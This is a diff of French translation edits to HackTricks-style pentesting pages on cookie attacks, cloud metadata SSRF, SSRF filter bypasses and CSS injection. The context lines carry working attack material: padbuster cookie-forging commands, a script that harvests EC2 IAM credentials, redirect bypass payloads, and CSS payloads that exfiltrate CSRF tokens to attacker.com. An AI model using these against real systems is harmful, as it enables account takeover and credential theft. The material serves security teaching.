<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -126,7 +126,7 @@ Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**dépôts GitHub HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Rejoignez** 💬 le groupe **Discord**](https://discord.gg/hRep4RUj7f) ou le groupe [**telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Autres façons de soutenir HackTricks :
## Attributs des Cookies
Les cookies sont accompagnés de plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs dans une voix plus passive :
Les cookies sont accompagnés de plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs de manière plus passive :
### Expires et Max-Age
@ -32,7 +32,7 @@ La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. En r
### Domaine
Les hôtes recevant un cookie sont spécifiés par l'attribut `Domain`. Par défaut, cela est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut `Domain` est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut `Domain` une option moins restrictive, utile pour les scénarios où le partage de cookies entre les sous-domaines est nécessaire. Par exemple, en définissant `Domain=mozilla.org`, les cookies sont accessibles sur ses sous-domaines comme `developer.mozilla.org`.
Les hôtes recevant un cookie sont spécifiés par l'attribut `Domain`. Par défaut, cela est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut `Domain` est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut `Domain` moins restrictive, utile pour les scénarios où le partage de cookies entre les sous-domaines est nécessaire. Par exemple, en définissant `Domain=mozilla.org`, les cookies sont accessibles sur ses sous-domaines comme `developer.mozilla.org`.
### Chemin
@ -67,8 +67,8 @@ N'oubliez pas que lors de la configuration des cookies, la compréhension de ces
Tableau de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) et légèrement modifié.\
Un cookie avec l'attribut _**SameSite**_ aidera à **atténuer les attaques CSRF** où une session connectée est nécessaire.
**\*Notez qu'à partir de Chrome80 (fév/2019), le comportement par défaut d'un cookie sans un attribut samesite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Notez temporairement, après l'application de ce changement, les **cookies sans une politique SameSite** **dans Chrome seront traités comme None** pendant les **2 premières minutes puis comme Lax pour les requêtes POST intersites de niveau supérieur.**
**\*Notez qu'à partir de Chrome80 (fév/2019), le comportement par défaut d'un cookie sans attribut SameSite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Notez temporairement, après l'application de ce changement, les **cookies sans politique SameSite** **dans Chrome seront traités comme None** pendant les **2 premières minutes, puis comme Lax pour les requêtes POST intersites de niveau supérieur.**
## Drapeaux des Cookies
@ -79,8 +79,8 @@ Cela empêche le **client** d'accéder au cookie (via **Javascript** par exemple
#### **Contournements**
* Si la page **envoie les cookies en réponse** à une requête (par exemple dans une page **PHPinfo**), il est possible d'exploiter la XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (consultez un exemple dans [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Cela peut être contourné avec des requêtes **HTTP TRACE** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Suivi intersites**.
* Cette technique est évitée par les **navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
* Cela pourrait être contourné avec des requêtes **HTTP TRACE** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Suivi intersites**.
* Cette technique est évitée par les **navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements à cela ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
* Une autre méthode est l'exploitation de vulnérabilités zero/day des navigateurs.
* Il est possible de **remplacer les cookies HttpOnly** en effectuant une attaque de débordement de Cookie Jar :
@ -88,7 +88,7 @@ Cela empêche le **client** d'accéder au cookie (via **Javascript** par exemple
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
* Il est possible d'utiliser une attaque de [**Smuggling de Cookies**](./#cookie-smuggling) pour exfiltrer ces cookies
* Il est possible d'utiliser une attaque [**Cookie Smuggling**](./#cookie-smuggling) pour exfiltrer ces cookies
### Secure
@ -108,7 +108,7 @@ Pour les cookies préfixés par `__Host-`, plusieurs conditions doivent être re
Il est important de noter que les cookies préfixés par `__Host-` ne sont pas autorisés à être envoyés aux superdomaines ou aux sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, l'utilisation du préfixe `__Host-` pour tous les cookies d'application peut être considérée comme une bonne pratique pour renforcer la sécurité et l'isolation.
### Écrasement des cookies
Ainsi, l'une des protections des cookies préfixés par `__Host-` est d'empêcher leur écrasement par des sous-domaines. Empêchant par exemple les [**attaques de Cookie Tossing**](cookie-tossing.md). Dans la présentation [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**article**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) il a été présenté qu'il était possible de définir des cookies préfixés par \_\_HOST- depuis un sous-domaine, en trompant l'analyseur, par exemple, en ajoutant "=" au début ou au début et à la fin...:
Ainsi, l'une des protections des cookies préfixés par `__Host-` est d'empêcher leur écrasement par les sous-domaines. Empêchant par exemple les [**attaques de Cookie Tossing**](cookie-tossing.md). Dans la présentation [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**article**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) il est présenté qu'il était possible de définir des cookies préfixés par \_\_HOST- depuis un sous-domaine, en trompant l'analyseur, par exemple, en ajoutant "=" au début ou au début et à la fin...:
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
@ -132,7 +132,7 @@ Cette attaque consiste à voler le cookie d'un utilisateur pour accéder de mani
Dans ce scénario, un attaquant trompe une victime pour utiliser un cookie spécifique pour se connecter. Si l'application n'attribue pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie d'origine, peut usurper la victime. Cette technique repose sur la victime se connectant avec un cookie fourni par l'attaquant.
Si vous avez trouvé un **XSS dans un sous-domaine** ou que vous **contrôlez un sous-domaine**, lisez :
Si vous trouvez un **XSS dans un sous-domaine** ou que vous **contrôlez un sous-domaine**, lisez :
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -142,7 +142,7 @@ Si vous avez trouvé un **XSS dans un sous-domaine** ou que vous **contrôlez un
Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant être connectée à son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.
Si vous avez trouvé un **XSS dans un sous-domaine** ou que vous **contrôlez un sous-domaine**, lisez :
Si vous trouvez un **XSS dans un sous-domaine** ou que vous **contrôlez un sous-domaine**, lisez :
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -152,9 +152,9 @@ Si vous avez trouvé un **XSS dans un sous-domaine** ou que vous **contrôlez un
Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles dans les JWT.
Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, l'accès au document lié sur le piratage des JWT est recommandé.
Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, il est recommandé d'accéder au document lié sur le piratage des JWT.
### Forgery de Requête entre Sites (CSRF)
### Forgery de Requête Cross-Site (CSRF)
Cette attaque force un utilisateur connecté à exécuter des actions non désirées sur une application web à laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable.
@ -174,7 +174,9 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
```
#### Problème de Chrome : Problème de point de code de substitution Unicode
Cela conduit le navigateur à envoyer un en-tête de cookie interprété par chaque serveur web comme un cookie nommé `a` avec une valeur `b`.
#### Bug Chrome : Problème de point de code de substitution Unicode
Dans Chrome, si un point de code de substitution Unicode fait partie d'un cookie défini, `document.cookie` devient corrompu, renvoyant ensuite une chaîne vide :
```js
@ -216,9 +218,9 @@ Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signi
* Essayez de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayez de **deviner** comment fonctionne l'algorithme.
* Essayez de **forcer le nom d'utilisateur**. Si le cookie ne sauvegarde que comme méthode d'authentification pour votre nom d'utilisateur, vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **forcer** chaque **bit** de votre cookie car l'un des cookies que vous essayerez appartiendra à "**admin**".
* Essayez l'**Oracle de Remplissage** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**.
* Essayez **Padding Oracle** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**.
**Oracle de Remplissage - Exemples de Padbuster**
**Padding Oracle - Exemples de Padbuster**
```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
@ -228,7 +230,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster fera plusieurs tentatives et vous demandera quelle condition est l'erreur (celle qui n'est pas valide).
Padbuster fera plusieurs tentatives et vous demandera quelle condition est la condition d'erreur (celle qui n'est pas valide).
Ensuite, il commencera à décrypter le cookie (cela peut prendre plusieurs minutes).
@ -236,11 +238,11 @@ Si l'attaque a réussi, vous pourriez essayer de crypter une chaîne de votre ch
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Cet exemple vous donnera le cookie correctement chiffré et encodé avec la chaîne **user=administrator** à l'intérieur.
Cette exécution vous donnera le cookie correctement chiffré et encodé avec la chaîne **user=administrator** à l'intérieur.
**CBC-MAC**
Peut-être qu'un cookie pourrait avoir une certaine valeur et pourrait être signé en utilisant le CBC. Ensuite, l'intégrité de la valeur est la signature créée en utilisant le CBC avec la même valeur. Comme il est recommandé d'utiliser un vecteur nul comme IV, ce type de vérification d'intégrité pourrait être vulnérable.
Peut-être qu'un cookie pourrait avoir une certaine valeur et être signé en utilisant le CBC. Ensuite, l'intégrité de la valeur est la signature créée en utilisant le CBC avec la même valeur. Comme il est recommandé d'utiliser un vecteur nul comme IV, ce type de vérification d'intégrité pourrait être vulnérable.
**L'attaque**
@ -268,7 +270,7 @@ Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Ainsi, en sacha
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -281,7 +283,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -4,11 +4,11 @@
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -36,7 +36,7 @@ Notez que si l'instance EC2 impose IMDSv2, [**selon la documentation**](https://
De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés de pouvoir y accéder.
{% endhint %}
Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, des informations intéressantes sont obtenues à partir de celui-ci:
Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes en sont extraites:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -96,13 +96,13 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
En tant qu'exemple d'exposition de **crédentiel IAM public**, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Comme exemple d'**identifiants IAM publics disponibles** exposés, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Vous pouvez également vérifier les **crédentiels de sécurité EC2 publics** sur : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Vous pouvez également vérifier les **identifiants de sécurité EC2 publics** sur : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Vous pouvez ensuite **utiliser ces informations d'identification avec l'AWS CLI**. Cela vous permettra de faire **tout ce que le rôle a la permission de faire**.
Ensuite, vous pouvez **utiliser ces identifiants avec l'AWS CLI**. Cela vous permettra de faire **tout ce que le rôle a la permission de faire**.
Pour profiter des nouveaux crédentiels, vous devrez créer un nouveau profil AWS comme celui-ci :
Pour profiter des nouveaux identifiants, vous devrez créer un nouveau profil AWS comme celui-ci :
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
@ -124,7 +124,7 @@ L'adresse http mentionnée devrait vous donner les **AccessKey, SecretKey et tok
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
Notez que dans **certains cas** vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
Notez que dans **certains cas**, vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
{% endhint %}
### SSRF pour AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
@ -326,7 +326,7 @@ done
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot dans les métadonnées
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot dans les métadonnées.
{% endhint %}
Documentation disponible sur [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
@ -349,6 +349,10 @@ curl http://169.254.169.254/metadata/v1.json | jq
* **Doit** contenir l'en-tête `Metadata: true`
* Ne doit **pas** contenir d'en-tête `X-Forwarded-For`
{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
@ -393,7 +397,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
### Azure App Service
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Que vous pouvez utiliser pour récupérer un jeton pour communiquer avec le serveur de métadonnées.
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour récupérer un jeton afin de communiquer avec le serveur de métadonnées.
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
@ -515,7 +519,7 @@ La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent ê
## HP Helion
La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à l'adresse :
La nécessité d'un en-tête n'est pas non plus mentionnée ici. Les métadonnées sont accessibles à l'adresse :
* `http://169.254.169.254/2009-04-04/meta-data/`

View file

@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -159,7 +159,7 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Contournement des chemins et des extensions
### Contournement des chemins et extensions
Si vous devez spécifier que l'URL doit se terminer par un chemin ou une extension, ou doit contenir un chemin, vous pouvez essayer l'un des contournements suivants :
```
@ -174,7 +174,7 @@ L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des
### Contournement via redirection
Il est possible que le serveur **filtre la requête d'origine** d'une SSRF **mais pas** une éventuelle réponse de **redirection** à cette requête.\
Par exemple, un serveur vulnérable à la SSRF via : `url=https://www.google.com/` pourrait être en train de **filtrer le paramètre d'URL**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder aux adresses IP filtrées** comme 127.0.0.1 ou même aux **protocoles filtrés** comme gopher.\
Par exemple, un serveur vulnérable à la SSRF via : `url=https://www.google.com/` pourrait **filtrer le paramètre d'URL**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder aux adresses IP filtrées** comme 127.0.0.1 ou même aux **protocoles filtrés** comme gopher.\
[Consultez ce rapport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -208,7 +208,7 @@ La _technique du backslash_ exploite une différence entre le [Standard des URL
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>)
image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
Image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## Références
@ -217,7 +217,7 @@ image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co
**Groupe de Sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -230,7 +230,7 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -43,7 +43,7 @@ Cependant, cette approche rencontre une limitation lorsqu'il s'agit des élémen
#### Contournement pour les Éléments Cachés
Pour contourner cette limitation, vous pouvez cibler un élément frère ultérieur en utilisant le combinateur de frère général `~`. La règle CSS s'applique ensuite à tous les frères suivant l'élément d'entrée caché, ce qui permet de charger l'image d'arrière-plan :
Pour contourner cette limitation, vous pouvez cibler un élément frère ultérieur en utilisant le combinateur de frère général `~`. La règle CSS s'applique alors à tous les frères suivant l'élément d'entrée caché, ce qui permet de charger l'image d'arrière-plan :
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
@ -72,11 +72,11 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
En combinant cela avec la technique **@import** suivante, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS à partir de pages aveugles avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
En combinant ceci avec la technique **@import** suivante, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS à partir de pages aveugles avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
La technique précédente présente certains inconvénients, vérifiez les prérequis. Vous devez soit être capable d'**envoyer plusieurs liens à la victime**, soit être capable d'**encadrer la page vulnérable à l'injection CSS**.
La technique précédente présente certains inconvénients, vérifiez les prérequis. Vous devez soit être capable d'**envoyer plusieurs liens à la victime**, soit être capable d'**encapsuler la page vulnérable à l'injection CSS dans un iframe**.
Cependant, il existe une autre technique astucieuse qui utilise **CSS `@import`** pour améliorer la qualité de la technique.
@ -86,17 +86,17 @@ Au lieu de charger la même page une fois et encore avec des dizaines de charges
```css
@import url('//attacker.com:5001/start?');
```
1. L'import va **recevoir un script CSS** des attaquants et le **navigateur va le charger**.
1. L'import va **recevoir un script CSS** des attaquants et le **navigateur le chargera**.
2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants à nouveau**.
3. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons divulguer certains caractères, puis répondre à cet import avec la charge utile pour divulguer les suivants.
4. La deuxième et plus grande partie de la charge utile va être une **charge utile de fuite de sélecteur d'attribut**.
5. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier**.
6. Une fois que le serveur des attaquants a reçu le **premier et le dernier caractère du secret**, il va **répondre à l'import demandé à l'étape 2**.
6. Une fois que le serveur des attaquants aura reçu le **premier et le dernier caractère du secret**, il répondra à l'import demandé à l'étape 2.
7. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois-ci elle essaiera de **trouver le deuxième caractère du secret et ensuite l'avant-dernier**.
